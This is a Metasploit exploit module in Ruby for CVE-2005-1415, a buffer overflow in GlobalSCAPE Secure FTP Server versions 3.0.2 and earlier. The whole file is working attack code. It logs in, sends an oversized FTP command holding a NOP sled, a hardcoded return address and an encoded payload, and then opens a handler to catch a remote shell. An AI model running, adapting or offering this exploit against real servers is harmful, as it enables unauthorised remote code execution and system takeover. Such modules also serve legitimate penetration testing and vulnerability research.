GlobalSCAPE Secure FTP Server Input Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Ftp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'GlobalSCAPE Secure FTP Server Input Overflow',  
'Description' => %q{  
This module exploits a buffer overflow in the GlobalSCAPE Secure FTP Server.   
All versions prior to 3.0.3 are affected by this flaw. A valid user account (  
or anonymous access) is required for this exploit to work.   
},  
'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>', 'Mati Aharoni <mati [at] see-security.com>' ],  
'License' => BSD_LICENSE,  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2005-1415'],  
[ 'OSVDB', '16049'],  
[ 'BID', '13454'],  
[ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2005-04/0674.html'],  
],  
'Privileged' => false,  
'Payload' =>  
{  
'Space' => 1000,  
'BadChars' => "\x00\x20\x61\x62\x63\x64\x65\x66\x67\x68\x69" +  
"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74" +  
"\x75\x76\x77\x78\x79\x7a",  
'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",  
  
},  
'Targets' =>   
[  
[  
'GlobalSCAPE Secure FTP Server <= 3.0.2 Universal',  
{  
'Platform' => 'win',  
'Ret' => 0x1002f01f,  
},  
],  
],  
'DisclosureDate' => 'May 1 2005',  
'DefaultTarget' => 0))  
end  
  
def exploit  
connect_login  
  
buf = make_nops(3047)  
buf[2043, 4] = [ target.ret ].pack('V')  
buf[2047, payload.encoded.length] = payload.encoded  
  
send_cmd( [buf] )  
  
handler  
disconnect  
end  
  
end  
`